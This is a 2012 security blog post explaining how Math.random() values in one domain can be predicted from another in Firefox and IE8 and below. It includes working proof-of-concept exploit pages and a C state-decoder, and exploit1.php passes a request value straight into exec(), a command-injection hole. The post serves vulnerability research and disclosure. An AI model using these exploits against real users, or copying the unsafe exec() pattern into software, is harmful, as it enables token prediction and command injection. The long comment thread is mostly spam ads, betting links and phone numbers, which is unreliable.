Thursday, May 31, 2012

Cross-domain Math.random() prediction


I recently descovered an interesting security issue in a web application that could be potentially exploited if an attacker could guess the values generated by JavaScript's Math.random() function running in a window in the web app's domain. So, I was wondering could the values returned by the Math.random() in one window in one domain be predicted from another window in another domain. Surprisingly, the answer is "yes". At least if you use Firefox or Internet explorer 8 and below. The technique that does this is called Cross-domain Math.random() prediction.

The JavaScript Math.random() weaknesses in different browser are nothing new. Amit Klein wrote extensively abot them [1, 2, 3]. However, while he does mention Cross-domain Math.random() prediction in his paper [1], the focus of his writing is more on using these weaknesses to track user across multiple websites. That's why in this post I'm going to show more details about this particular technique (Cross-domain Math.random() prediction) and also show the current state of the web browsers regarding the Math.random() predictability. In this post, I'll write about the attack in general and in a subsequent post, I'll show an example vulnerable application (once it gets patched).

In general, to use the attack, the following conditions must be met:

1. A web page in some domain uses Math.random() to generate a number.
2. An attacker can somehow gain from knowing this number.
3. An attacker can choose when this number will be generated (for example, by opening a window with a vulnerable application).

Take for example a web page that generates a random number which is then used to identify a user when talking to the web application server.

Now, let's see what makes the attack possible.

The pseudo-random number generator (PRNG) implementations in Internet Explorer up to IE 9 and Firefox are relatively simple and are described in detail in [1] and [3], respectively. The main points to keep in mind are:

1. Both implementations are based on seeding the 48-bit PRNG state based on the current time (in milliseconds) and the state is updated as (state*a+b)%(2^48), where a and b are constant numbers.

2. In Firefox, PRNG seeding is actually done based on the value obtained by xoring the current time in milliseconds with another number which is obtained by xoring two pointers. However, I have observed that these pointers are usually very similar so the result of the xor operation between them is usually a very small number (<1000). This means that, for practical purposes, we may consider that PRNG state in Firefox is seeded based on the current time in milliseconds +/- 1000.

3. In Firefox, each page will have its own PRNG while in IE 8 and below each tab will have its own PRNG and the PRNG will *not* be reseeded if the page in the tab changes, even though the new page might be in another domain.

This opens two possible algorithms for cross-domain Math.random() prediction, where one will work on IE only, and the other will work on both IE and Firefox. The attacks are described below. The code that demonstrates both attacks can be found in the "Example code" section below.

First attack (IE 8 and below only)

This version of the attack exploits the fact that IE does not reseed the PRNG for every page in the same tab. It works as follows:

1. The attacker gets a user to visit his page
2. The attacker's page generates a random number and uses it to compute the current state of the PRNG
3. The state of the PRNG is sent to the attacker. It can be used to predict the result of any subsequent Math.random() call made in the same browsing tab.
4. The attacker's page redirects the victim to the vulnerable application

Second attack (IE8 and below, Firefox)

This version of the attack is based on guessing the seed value of the PRNG and works as follows:

1. The attacker gets a user to visit his page
2. The page makes a note of the current time, t, and opens a new window with the vulnerable application.
3. Based on t, a guess is made for the PRNG seed value in the new window. If the guess is correct, the attacker can predict the result of Math.random() calls in the new window.

Note that this attack relies on guessing the seed value. Since seeding is done based on the current time in milliseconds, this means that, if we can make multiple guesses, we have a pretty good chance of guessing correctly. For example, if we can predict PRNG seeding time up to a second, we have about 1/1000 chance of guessing correctly in IE and somewhat smaller chance (but usually in the same order of magnitude) for guessing correctly in Firefox. If we can make several hundreds of guesses, this is a pretty good chance, especially considerning that the PRNG state in IE and Firefox has 48 bits.

Other browsers

Internet Explorer 9 is not vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the high-precision counter and additional entropy sources [2].

Google Chrome on Windows also isn't vulnerable to this type of attack because
 - Each page has its own PRNG and
 - PRNG seeding is based on the rand_s function which is cryptographically secure [4, 5].

Example code

"rand.html". This page just generates the random number and displays it. The goal of the two "exploit" pages below is to guess it.
<html>
<head>
  <script>
    document.write("I generated: " + Math.random());
  </script>
</head>
<body>
</body>
</html>


"exploit1.php". This page uses the first attack (IE only) to predict Math.random() value in another domain, but in the same tab. It uses "decodestate.exe" to decode the current state of the PRNG.
<?php 
if (isset($_REQUEST['r']))
{
  $state = exec("decodestate.exe ".$_REQUEST['r']);

?>

<html>
<head>
<script>
  //target page, possibly in another domain
  var targetURL = "http://127.0.0.1/rand.html"
  
  var a_hi = 0x5DE;
  var a_lo = 0xECE66D;
  var b = 0x0B;
  var state_lo = 0;
  var state_hi = 0;
  var max_half = 0x1000000;

  //advances the state of the (previously initialized) PRNG
  function advanceState() {
    var tmp_lo,tmp_hi,carry;
    tmp_lo = state_lo*a_lo + b;
    tmp_hi = state_lo*a_hi + state_hi*a_lo;
    if(tmp_lo>=max_half) {
      carry = Math.floor(tmp_lo/max_half);
      tmp_hi = tmp_hi + carry;
      tmp_lo = tmp_lo % max_half;
    }
    tmp_hi = tmp_hi % max_half;
    state_lo = tmp_lo;
    state_hi = tmp_hi;
  }

  //gets the next random() result according to the predicted PRNG state
  function PredictRand() {
    var first,second;
    var num, res;
    
    advanceState();
    first = (state_hi * 8) + Math.floor(state_lo/0x200000);
    advanceState();
    second = (state_hi * 8) + Math.floor(state_lo/0x200000);
    num = first * 0x8000000 + second;
    
    res = num/Math.pow(2,54);
  
    return res;
  }

  function start() {
    var state = <?php echo($state); ?>;
    state_hi = Math.floor(state/max_half);
    state_lo = state%max_half;
    
    alert("I predicted : " + PredictRand());
    
    window.location = targetURL;
  }
  
</script>
</head>
<body onload="start()">
</body> 
</html>

<?php } else { ?>

<html>
<head>
<script> 
  function start() 
  { 
    document.forms[0].r.value=Math.random();
    document.forms[0].submit();
  }
</script>  
</head>
<body onload="start()"> 
<form method="POST" onSubmit="f()"> 
<input type="hidden" name="r"> 
</form> 
</body> 
</html>

<?php } ?>


The code for "decodestate.exe". Much of it is shamelessly copied from [1].
#include <stdlib.h> 
#include <stdio.h> 

#define UINT64(x) (x##I64)
typedef unsigned __int64 uint64; 
typedef unsigned int uint32; 

#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)

uint64 adv(uint64 x)
{ 
  return (a*x+b) & ((UINT64(1)<<48)-1);
} 

int main(int argc, char* argv[])
{ 
  double sample=atof(argv[1]);
  uint64 sample_int=sample*((double)(UINT64(1)<<54));
  uint32 x1=sample_int>>27;
  uint32 x2=sample_int & ((1<<27)-1);

  for (int v=0;v<(1<<21);v++)
  {
    uint64 state=adv((((uint64)x1)<<21)|v);
    uint32 out=state>>(48-27);
    if ((sample_int & (UINT64(1)<<53)) && (out & 1))
    {
      // Turn off least significant bit (which we know is 1). 
      out--;
      // Perform Round to Nearest (even number, but keep in mind that
      // we don't count the least significant bit)
      if (out & 2)
      {
        out+=2;
      }
    }
    if (out==x2) {
      printf("%lld\n",state);
      return 0;
    }
  }
  // Not found
  printf("-1\n");
  return 0;
}


"exploit2.html". This page uses the second attack (both IE and Firefox) to predict Math.random() value in another domain in another window. Multiple predictions are made of which one is usually correct (depending on the time it takes a browser to open a new window and additional entropy in Firefox).
<html>
  <head>
    <script>
      //target page, possibly in another domain
      var targetURL = "http://127.0.0.1/rand.html"
      
      //in order to avoid precision issues
      //we split each 48-bit number
      //into two 24-bit halves (_lo & _hi)
      var a_hi = 0x5DE;
      var a_lo = 0xECE66D;
      var b = 0x0B;
      var state_lo = 0;
      var state_hi = 0;
      var max_half = 0x1000000;
      var max_32 = 0x100000000;
      var max_16 = 0x10000;
      var max_8 = 0x100;
  
      //advances the state of the (previously initialized) PRNG
      function advanceState() {
        var tmp_lo,tmp_hi,carry;
        tmp_lo = state_lo*a_lo + b;
        tmp_hi = state_lo*a_hi + state_hi*a_lo;
        if(tmp_lo>=max_half) {
          carry = Math.floor(tmp_lo/max_half);
          tmp_hi = tmp_hi + carry;
          tmp_lo = tmp_lo % max_half;
        }
        tmp_hi = tmp_hi % max_half;
        state_lo = tmp_lo;
        state_hi = tmp_hi;
      }
  
      function InitRandPredictor(seedTime) {}
  
      //inits PRNG
      function InitRandPredictorFF(seedTime) {
        var seed_lo,seed_hi;
        seed_hi = Math.floor(seedTime/max_half);
        seed_lo = seedTime%max_half;
        state_lo = seed_lo ^ a_lo;
        state_hi = seed_hi ^ a_hi;
      } 
  
      //inits PRNG
      function InitRandPredictorIE(seedTime) {
        var pos=[17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15,16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14];
        var timeh,timel1,timel2,statel,stateh1,stateh2,tmp1,tmp2;
        timeh = Math.floor(seedTime/max_32);
        timel1 = Math.floor((seedTime%max_32)/max_16);
        timel2 = seedTime%max_16;
        statel = timeh ^ timel2;
        tmp1 = timel1 ^ 0xDEEC;
        tmp2 = timel2 ^ 0xE66D;
        stateh1 = 0;
        stateh2 = 0;
        for(var i=0;i<16;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp2>>i)&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp2>>i)&1)<<(pos[i]-16));
          }
        }
        for(var i=16;i<32;i++) {
          if(pos[i]<16) {
            stateh2 = stateh2 | (((tmp1>>(i-16))&1)<<pos[i]);
          } else {
            stateh1 = stateh1 | (((tmp1>>(i-16))&1)<<(pos[i]-16));
          }
        }
        state_hi = (stateh1<<8) + Math.floor(stateh2/max_8);
        state_lo = ((stateh2%max_8)<<16) + statel;
      } 

      function PredictRand() { return(-1); }

      //gets the next random() result according to the predicted PRNG state
      function PredictRandFF() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 4) + Math.floor(state_lo/0x400000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,53);
    
        return res;
      }      
  
      //gets the next random() result according to the predicted PRNG state
      function PredictRandIE() {
        var first,second;
        var num, res;
    
        advanceState();
        first = (state_hi * 8) + Math.floor(state_lo/0x200000);
        advanceState();
        second = (state_hi * 8) + Math.floor(state_lo/0x200000);
        num = first * 0x8000000 + second;
    
        res = num/Math.pow(2,54);
      
        return res;
      }      
      
      function start() {
        var msfrom,msto;
        
        //simple browser detection
        if(navigator.userAgent.indexOf("MSIE 8.0")>=0) {
          InitRandPredictor = InitRandPredictorIE;
          PredictRand = PredictRandIE;
          msfrom = 0;
          msto = 1000;
        } else if(navigator.userAgent.indexOf("Firefox")>=0) {
          InitRandPredictor = InitRandPredictorFF;
          PredictRand = PredictRandFF;
          //greater range for FF to deal with extra entropy
          msfrom = -1000;
          msto = 2000;
        } else {
          alert("Sorry, your browser is not supported");
          return;
        }
        
        var d = new Date();
        var t = d.getTime();
        
        var w = window.open(targetURL);
        
        var predictions = "At time " + t.toString() + " I predicted: <br />";
        for(var i=msfrom;i<msto;i++) {
          InitRandPredictor(t+i);
          //InitRandPredictor(1338400821077);
          predictions += PredictRand() + "<br />";
        }
        
        document.getElementById("prediction").innerHTML = predictions;    
      }
      
    </script>
  </head>
    <button onclick="start()">Click Me!</button>
    <br/>
    <div id="prediction">
  </body>
</html>


References

[1] http://www.trusteer.com/sites/default/files/Temporary_User_Tracking_in_Major_Browsers.pdf
[2] http://www.trusteer.com/sites/default/files/VM_Detection_and_Temporary_User_Tracking_in_IE9_Platform_Preview.pdf
[3] http://www.trusteer.com/sites/default/files/Cross_domain_Math_Random_leakage_in_FF_3.6.4-3.6.8.pdf
[4] http://msdn.microsoft.com/en-us/library/sxtz2fa8(v=vs.80).aspx
[5] http://en.wikipedia.org/wiki/CryptGenRandom

468 comments:

  1. Thought content impressed me! I am glad to check out sharing information and accordingly meet with the demand web writing service

    ReplyDelete
  2. If i use Internet explorer below v8. And use it tracking the random numbers on a hi lo betting website (numbers between 0 to 100) will the pattern repeat or it will use the timestamp as a seed to generate new random number?

    ReplyDelete
  3. Very nice post here and thanks for it .I always like and such a super contents of these post.Excellent and very cool idea and great content of different kinds of the valuable information's.
    Devops Training courses
    Devops Training in Bangalore

    ReplyDelete
  4. Excellent blog, I wish to share your post with my folks circle. It’s really helped me a lot, so keep sharing post like this
    python Course in Pune
    python Course institute in Chennai
    python Training institute in Bangalore

    ReplyDelete
  5. All the points you described so beautiful. Every time i read your i blog and i am so surprised that how you can write so well.
    Selenium training in Chennai
    Selenium training in Bangalore
    Selenium training in Pune
    Selenium Online training

    ReplyDelete
  6. Really very nice blog information for this one and more technical skills are improve,i like that kind of post.
    Selenium Training in Chennai | SeleniumTraining Institute in Chennai

    ReplyDelete
  7. Excellent blog, I wish to share your post with my folks circle. It’s really helped me a lot, so keep sharing post like this,

    Linux Training Course


    Load Runner Training Course


    Machine Learning Training Course


    ReplyDelete
  8. Attend The Python Training in Hyderabad From ExcelR. Practical Python Training Sessions With Assured Placement Support From Experienced Faculty. ExcelR Offers The Python Training in Hyderabad.
    python training in bangalore

    ReplyDelete
  9. Thanks for a nice share you have given to us with such an large collection of information.
    Great work you have done by sharing them to all. for more info
    simply superb.PGDCA class in bhopal
    autocad in bhopal
    3ds max classes in bhopal
    CPCT Coaching in Bhopal
    java coaching in bhopal
    Autocad classes in bhopal
    Catia coaching in bhopal

    ReplyDelete
  10. Well said. Great post and keep sharing. The information is so useful and Very Important too. home elevators | Hydraulic elevators

    ReplyDelete
  11. Thank you for providing the valuable information …

    If you want to connect with AI (Artificial Intelligence) World

    as like

    Python Training Certification

    related more information then meet on EmergenTeck Training Institute .

    Thank you.!

    ReplyDelete
  12. Business Analytics or Data Analytics or data science training in hyderabad is an extremely popular, in-demand profession which requires a professional to possess sound knowledge of analysing data in all dimensions and uncover the unseen truth coupled with logic and domain knowledge to impact the top-line (increase business) and bottom-line (increase revenue). ExcelR’s Data Science curriculum is meticulously designed and delivered matching the industry needs and considered to be the best in the industry.

    ReplyDelete
  13. Business Analytics or data science training in hyderabad is an extremely popular, in-demand profession which requires a professional to possess sound knowledge of analysing data in all dimensions and uncover the unseen truth coupled with logic and domain knowledge to impact the top-line (increase business) and bottom-line

    ReplyDelete
  14. We Innovate IT Solutions by offering end-to-end solutions for all of your IT challenges. Best IT Consulting Company In USA With one call or click, learn how we can help you with IT Consulting, IT Recruiting, Software Developers, Data Management and Mobile App Development. Regulus Technologies has been the trusted source for IT services to some of the most recognized companies in the North America. Learn how we can help you Innovate IT Solutions!

    ReplyDelete
  15. I feel very grateful that I read this. It is very helpful and very informative and I really learned a lot from it.
    web design company in velachery

    ReplyDelete
  16. At Regulus, all of our employees, whether full-time, leased, temporary or internal are just as important. Best IT Consulting Company In USA We’ll take the time to get to know you and understand your needs and requirements on an individual basis, and we’ll match your skills to our clients’ requirements. Our understanding and commitment to each individual employee and their goals is what you will get when you work with us.

    ReplyDelete
  17. For Devops Training in Bangalore visit : Devops Training in Bangalore

    ReplyDelete
  18. This is the exact information I am been searching for, Thanks for sharing the required infos with the clear update and required points. To appreciate this I like to share some useful information.Selenium training in bangalore

    ReplyDelete
  19. This post is very simple to read and appreciate without leaving any details out. Great work!

    Please check ExcelR Data Science Course Pune

    ReplyDelete
  20. Pretty good post. I just stumbled upon your blog and wanted to say that I have really enjoyed reading your blog posts. Any way I’ll be subscribing to your feed and I hope you post again soon.
    data science course in mumbai

    ReplyDelete
  21. latest Baby boy gentleman style

    Pattern Type: Cartoon
    Dresses Length: Above Knee, Mini
    Material Composition: Cotton
    Silhouette: A-Line
    Collar: Circular collar
    Sleeve Length(cm): Short
    Sleeve Style: REGULAR
    Style: Cute
    Material: COTTON
    Actual Images: yes
    Decoration: Flowers
    please visit

    ReplyDelete
  22. I just got to this amazing site not long ago. I was actually captured with the piece of resources you have got here. Big thumbs up for making such wonderful blog page!. I a data science aspirant who got recently trained on it and fond of writing blogs.

    ReplyDelete
  23. I just got to this amazing site not long ago. I was actually captured with the piece of resources you have got here. Big thumbs up for making such wonderful blog page!. I am andata science aspirant who got recently trained on it and fond of writing blogs.

    ReplyDelete
  24. It’s really great information for becoming a better Blogger. Keep sharing, Thanks...

    Bangalore Training Academy located in BTM - Bangalore, Best Informatica Training in Bangalore with expert real-time trainers who are working Professionals with min 8 + years of experience in Informatica Industry, we also provide 100% Placement Assistance with Live Projects on Informatica.

    ReplyDelete
  25. Thanks, You for such a great post. I have tried and found it really helpful.

    Best Hadoop Training in Bangalore, offered by BangaloreTrainingAcademy. Bangalore's No.1 Hadoop Training Institute. Classroom, Online and Corporate training.

    Thanks and Regards,
    BangaloreTrainingAcademy

    ReplyDelete
  26. Enjoyed reading the article above, really explains everything in detail,the article is very interesting and effective.Thank you and good luck…

    Start your journey with DevOps Course and get hands-on Experience with 100% Placement assistance from experts Trainers @Softgen Infotech Located in BTM Layout Bangalore.

    ReplyDelete
  27. I am really happy to say it’s an interesting post to read. I learn new information from your article, you are doing a great job. Keep it up…

    Real Time Experts offers the Best SAP SCM Training in Bangalore - Marathahalli, We offer Real-Time Training with Live Projects, Our SAP SCM Trainers are Working Professionals with 8+ years of Expertise in SAP SCM, we also provide placement assistance.

    ReplyDelete
  28. Nice post. Thank you for posting something like this...

    Enrol in SAP FICO Training in Bangalore to master configurations of H SAP FICO with eTechno Soft Solutions Located in BTM Layout.

    ReplyDelete
  29. Such great information for blogger iam a professional blogger thanks…

    Upgrade your career Learn DevOps Training from industry experts gets complete hands on Training, Interview preparation, and Job Assistance at My Training Bangalore.

    ReplyDelete
  30. Post is very useful. Thank you, this useful information.

    Get SAP HANA Training in Bangalore from Real Time Industry Experts with 100% Placement Assistance in MNC Companies. Book your Free Demo with eTechno Soft Solutions.

    ReplyDelete
  31. Good job! Fruitful article. I like this very much. It is very useful for my research. It shows your interest in this topic very well. I hope you will post some more information about the software. Please keep sharing!!
    SEO Training in Bangalore
    SEO Course in Bangalore
    SEO Training Institute in Bangalore
    Best SEO Training Institute in Bangalore
    SEO Training Bangalore

    ReplyDelete
  32. Really a awesome blog for the freshers. Thanks for posting the information.
    Python Training in Delhi

    ReplyDelete
  33. This comment has been removed by the author.

    ReplyDelete
  34. Get all the solutions related to IT consulting management at https://techregulus.com

    ReplyDelete
  35. Such a very useful article. Very interesting to read this article.I would like to thank you for the efforts you had made for writing this awesome article.

    data science course in mumbai
    data science course in mumbai

    ReplyDelete
  36. This comment has been removed by the author.

    ReplyDelete



  37. I am really happy to say it’s an interesting post to read . I learn new information from your article , you are doing a great job . Keep it up and a i also want to share some information regarding selenium course and selenium training videos



    ReplyDelete
  38. Excellent Blog! I would like to thank for the efforts you have made in writing this post. I am hoping the same best work from you in the future as well. I wanted to thank you for this websites! Thanks for sharing. Great websites!
    data analytics course mumbai
    data science interview questions

    ReplyDelete
  39. Attend The Data Science Courses Bangalore From ExcelR. Practical Data Science Courses Bangalore Sessions With Assured Placement Support From Experienced Faculty. ExcelR Offers The Data Science Courses Bangalore.
    ExcelR Data Science Courses Bangalore
    Data Science Interview Questions
    ExcelR Data Analytics Courses
    ExcelR Business Analytics Course

    ReplyDelete
  40. I finally found great post here.I will get back here. I just added your blog to my bookmark sites. thanks.Quality posts is the crucial to invite the visitors to visit the web page, that's what this web page is providing.
    data science course in Mumbai
    data science interview questions

    ReplyDelete
  41. I am really enjoying reading your well written articles. It looks like you spend a lot of effort and time on your blog. I have bookmarked it and I am looking forward to reading new articles. Keep up the good work.
    data analytics courses in mumbai
    data science interview questions

    ReplyDelete
  42. But if you are looking for the limousine service new york , NYC united is the right choice.

    ReplyDelete
  43. I finally found great post here.I will get back here. I just added your blog to my bookmark sites. thanks.Quality posts is the crucial to invite the visitors to visit the web page, that's what this web page is providing.
    ExcelR Data Science training in Mumbai

    ReplyDelete
  44. Thanks for sharing such a great information..Its really nice and informative..

    testing tools online training

    ReplyDelete
  45. Great post i must say and thanks for the information. Education is definitely a sticky subject. However, is still among the leading ExcelR Machine Learning Courses topics of our time. I appreciate your post and look forward to more.

    ReplyDelete
  46. Poker online situs terbaik yang kini dapat dimainkan seperti Bandar Poker yang menyediakan beberapa situs lainnya seperti http://62.171.128.49/hondaqq/ , kemudian http://62.171.128.49/gesitqq/, http://62.171.128.49/gelangqq/, dan http://62.171.128.49/seniqq. yang paling akhir yaitu http://62.171.128.49/pokerwalet/. Jangan lupa mendaftar di panenqq silakan dicoba ya boss

    ReplyDelete

  47. Wow. That is so elegant and logical and clearly explained. Brilliantly goes through what could be a complex process and makes it obvious.I want to refer about the best tableau software tutorial

    ReplyDelete
  48. Nice! you are sharing such helpful and easy to understandable blog in decoration. i have no words for say i just say thanks because it is helpful for me.

    data science training in hyderabad.

    ReplyDelete
  49. This is a wonderful article, Given so much info in it, Thanks for sharing. CodeGnan offers courses in new technologies and makes sure students understand the flow of work from each and every perspective in a Real-Time environmen python training in vijayawada. , data scince training in vijayawada . ,

    ReplyDelete
  50. Pretty article! I found some useful information in your blog, it was awesome to read, thanks for sharing this great content to my vision. i also want to share some infor mation regarding sap pp online training and sap sd videos.keep sharing.

    ReplyDelete
  51. Glad to chat your blog, I seem to be forward to more reliable articles and I think we all wish to thank so many good articles, blog to share with us. Please check this Data Scientist Course

    ReplyDelete
  52. Such a very useful article. Very interesting to read this article.I would like to thank you for the efforts you had made for writing this awesome article. digital marketing course Bangalore

    ReplyDelete
  53. Study Machine Learning Course Bangalore with ExcelR where you get a great experience and better knowledge .
    Machine Learning Course Bangalore

    ReplyDelete
  54. I just got to this amazing site not long ago. I was actually captured with the piece of resources you have got here. Big thumbs up for making such wonderful blog page!. bangalore digital marketing course

    ReplyDelete
  55. Study Business Analytics Course in Bangalore with ExcelR where you get a great experience and better knowledge.

    Business Analytics Course

    ReplyDelete
  56. I can see that you are an expert at your field! I am launching a website soon, and your information will be very useful for me.. Thanks for all your help and wishing you all the success in your business.satta king

    ReplyDelete
  57. Awesome blog, I enjoyed reading your articles. This is truly a great read for me. I have bookmarked it and I am looking forward to reading new articles. Keep up the
    good work!.data analytics courses

    ReplyDelete
  58. Just saying thanks will not just be sufficient, for the fantasti c lucidity in your writing. I will instantly grab your rss feed to stay informed of any updates.
    data science courses in pune

    ReplyDelete
  59. Pretty good post. I just stumbled upon your blog and wanted to say that I have really enjoyed reading your blog posts. Any way I’ll be subscribing to your feed and I hope you post again soon.
    pune digital marketing course

    ReplyDelete
  60. This was really one of my favorite website. Please keep on posting. ExcelR Data Science Course In Pune

    ReplyDelete
  61. Amazing Post . Thanks for sharing. Your style of writing is very unique. Pls keep on updating.Nice article I was really impressed by seeing this blog, it was very interesting and it is very useful for me. | Home lifts

    ReplyDelete
  62. I have to search sites with relevant information on given topic and provide them to teacher our opinion and the article.
    ExcelR digital marketing courses in mumbai

    ReplyDelete
  63. Nice information, valuable and excellent design, as share good stuff with good ideas and concepts, lots of great information and inspiration, both of which I need, thanks to offer such a helpful information here...digital marketing courses in bangalore

    ReplyDelete
  64. It's really a nice and useful piece of information about Selenium. I'm satisfied that you shared this helpful information with us.Please keep us informed like this. Thank you for sharing.

    Java training in chennai | Java training in annanagar | Java training in omr | Java training in porur | Java training in tambaram | Java training in velachery

    ReplyDelete
  65. Learn digital marketing live, Coimbatore – an institute perfected in coaching the digital marketing training course by covering the following topics said to be SEO, SEM, SMM and Email marketing that would educate individuals in the finest part of the choice.

    digital marketing course in coimbatore

    ReplyDelete
  66. Really nice and interesting post. I was looking for this kind of information and enjoyed reading this one. Keep posting. Thanks for sharing.....Data Analytics courses

    ReplyDelete
  67. I have honestly never read such overwhelmingly good content like this. I agree with your points and your ideas.
    SAP training in Mumbai
    Best SAP training in Mumbai
    SAP training institute Mumbai

    ReplyDelete
  68. This comment has been removed by the author.

    ReplyDelete
  69. I thought I was strong with my ideas on this, but with your writing expertise you have managed to convert my beliefs your new ideas. Mallorca is fun
    SAP training in Kolkata
    Best SAP training in Kolkata
    SAP training institute in Kolkata

    ReplyDelete
  70. the is great security blog, thanks for the information
    Full Stack Data Science Course Training In Hyderabad
    data science course in Hyderabad

    ReplyDelete
  71. It is actually a great and helpful piece of information about Java. I am satisfied that you simply shared this helpful information with us. Please stay us informed like this. Thanks for sharing.Data Science Training in Hyderabad

    ReplyDelete
  72. This is a wonderful article, Given so much info in it, These type of articles keeps the users interest in the website, and keep on sharing more ... good luck.
    data analytics courses

    ReplyDelete
  73. This comment has been removed by the author.

    ReplyDelete
  74. This is an awesome post.Really very good informative and creative contents. Thank you for this brief explanation and very nice information. oracle training in chennai

    ReplyDelete
  75. Very nice blogs!!! i have to learning for lot of information for this sites...Sharing for wonderful information.Thanks for sharing this valuable information to our vision. You have posted a trust worthy blog keep sharing, data science course in Hyderabad

    ReplyDelete
  76. Great thoughts you got there, believe I may possibly try just some of it throughout my daily life.

    AWS Training in Hyderabad

    ReplyDelete
  77. ExcelR Business Analytics Courses

    We are located at :



    Location 1:



    ExcelR - Data Science, Data Analytics Course Training in Bangalore



    49, 1st Cross, 27th Main BTM Layout stage 1 Behind Tata Motors Bengaluru, Karnataka 560068

    Phone: 096321 56744

    Hours: Sunday - Saturday 7 AM - 11 PM

    Directions - Business Analytics Courses



    Location 2:



    ExcelR - PMP Certification Course Training in Bangalore



    #49, Ground Floor, 27th Main, Near IQRA International School, opposite to WIF Hospital, 1st Stage, BTM Layout, Bengaluru, Karnataka 560068

    Phone: 1800-212-2120 / 070224 51093

    Hours: Sunday - Saturday 7 AM - 10 PM

    ReplyDelete
  78. Attend The Data Science Course From ExcelR. Practical Data Science Course Sessions With Assured Placement Support From Experienced Faculty. ExcelR Offers The Data Science Course.data science courses

    ReplyDelete
  79. I have express a few of the articles on your website now, and I really like your style of blogging. I added it to my favorite’s blog site list and will be checking back soon…
    Data Scientist Courses It is the intent to provide valuable information and best practices, including an understanding of the regulatory process. Your work is very good, and I appreciate you and hopping for some more informative posts

    ReplyDelete
  80. Nice blog, it's so knowledgeable, informative, and good looking site.
    Home lifts India are the best home lifts for the Existing and New homes.
    Home elevators are no longer considered as a luxury. People are clear in their intention of providing a home to their family members with all comfort and convenience.
    Home lifts Melbourne are easy to install, fits the provided space and also provide an elegant look to the homes.
    Home lifts Malaysia Provide a home convenient living.
    Vacuum lifts India

    ReplyDelete
  81. Snapdeal winner list 2020 here came up with a list of offers where you can win special Snapdeal winner name and Snapdeal winner name 2020 by just playing a game & winning prizes.

    ReplyDelete
  82. Thank you for your post, I look for such article along time, today i find it finally. this post give me lots of advise it is very useful for me !data science training in Hyderabad

    ReplyDelete
  83. Thank you so much for shearing this type of post.
    This is very much helpful for me. Keep up for this type of good post.
    please visit us below
    data science training in Hyderabad

    ReplyDelete
  84. Thanks for the informative and helpful post, obviously in your blog everything is good.. href=“//businesslineer.com/why-you-should-use-the-oregon-business-registry/”>Oregon Business Registry

    ReplyDelete
  85. Nice & Informative Blog !
    If you are looking for the best accounting software that can help you manage your business operations. call us at QuickBooks Customer Support Number 1-855-974-6537.

    ReplyDelete
  86. Hey!! Great work. You have a very informative blog .You are doing well. Keep it up. We will also provide Quickbooks Subscription Error to alter Quickbook’s issues. If you have any issues regarding Quickbooks dial +1-8555-756-1077 for getting instant help.

    ReplyDelete
  87. Nice Post !
    QuickBooks is the best accounting software of the current time that provides ease of use and a user-friendly interface.you may face some technical queries in this software. To get solutions for such problems, call us at QuickBooks Customer Service Number 1-(855) 550-7546.

    ReplyDelete
  88. Hey! Good blog. I was facing an error in my QuickBooks software, so I called QuickBooks Error Code 15106 (855)-756-1077. I was tended to by an experienced and friendly technician who helped me to get rid of that annoying issue in the least possible time.

    ReplyDelete
  89. The information you have posted is very useful. The sites you have referred was good. Thanks for sharing. ExcelR Data Analytics Courses

    ReplyDelete
  90. Nice Blog !
    One such issue is QuickBooks Error 2107. Due to this error, you'll not be able to work on your software. Thus, to fix these issues, call us at 1-855-977-7463 and get the best ways to troubleshoot QuickBooks queries.

    ReplyDelete
  91. Nice & Informative Blog !
    In case you are searching for the best technical services for QuickBooks, call us at QuickBooks Error 15240 1-855-977-7463 and get impeccable technical services for QuickBooks. We make use of the best knowledge for solving your QuickBooks issues.

    ReplyDelete
  92. Thumbs up guys your doing a really good job. 토토

    ReplyDelete
  93. This is also a very good post which I really enjoyed reading. It is not everyday that I have the possibility to see something like this.먹튀검증사이트

    ReplyDelete
  94. Hey! Mind-blowing blog. Keep writing such beautiful blogs. In case you are struggling with issues on QuickBooks software, dial QuickBooks For MAC Support (855)756-1077. The team, on the other end, will assist you with the best technical services.

    ReplyDelete
  95. A debt of gratitude is in order for sharing the information, keep doing awesome... I truly delighted in investigating your site. great asset... 토토사이트

    ReplyDelete
  96. I think I have never seen such blogs ever before that has complete things with all details which I want. So kindly update this ever for us. 토토사이트

    ReplyDelete
  97. Hey! Excellent work. Being a QuickBooks user, if you are struggling with any issue, then dial QuickBooks Phone Number (877)948-5867. Our team at QuickBooks will provide you with the best technical solutions for QuickBooks problems.

    ReplyDelete
  98. This comment has been removed by the author.

    ReplyDelete
  99. Nice Blog !
    QuickBooks is an accounting software that helps you manage and handle all the accounting operations at the same time.However, many times, you may come across errors like QuickBooks Error 1926 while working on this software.To get instant assistance for QuickBooks issues, Our team offers 24 hours of service to our clients.

    ReplyDelete
  100. Superb article nice stuff, Good information
    https://socialprachar.com/data-science-training-in-bengaluru/

    ReplyDelete
  101. ExcelR provides Data Analytics courses. It is a great platform for those who want to learn and become a Data Analytics course. Students are tutored by professionals who have a degree in a particular topic. It is a great opportunity to learn and grow.


    Data Analytics courses

    ReplyDelete
  102. Nice Blog !
    QuickBooks Error 1334 is an error that degrades the performance of your software.They utilise their whole skill and experience into resolving all the annoying issues of QuickBooks users.

    ReplyDelete
  103. Nice Blog !
    Our experts at QuickBooks Phone Number are ready to give you immediate support for all QuickBooks errors in this difficult time.

    ReplyDelete
  104. Nice Blog !
    Our team at QuickBooks Customer Service makes sure to resolve all the complex issues of QuickBooks successfully in the new era of the COVID 19 pandemic.

    ReplyDelete
  105. Nice & Informative Blog !
    Our team at QuickBooks Phone Number is dedicated to providing you with high-quality service amid an economic crisis.

    ReplyDelete
  106. This comment has been removed by the author.

    ReplyDelete
  107. Hey! Nice Blog, I have been using QuickBooks for a long time. One day, I encountered QuickBooks Customer Service in my software, then I called QuickBooks Error 1328. They resolved my error in the least possible time.

    ReplyDelete
  108. This is an awesome post. Really very informative and creative contents. Thanks for sharing nice information. Golden Triangle Tour Package India

    ReplyDelete
  109. Informative Article, keep posting and visit us for Python Courses Fees






    ReplyDelete
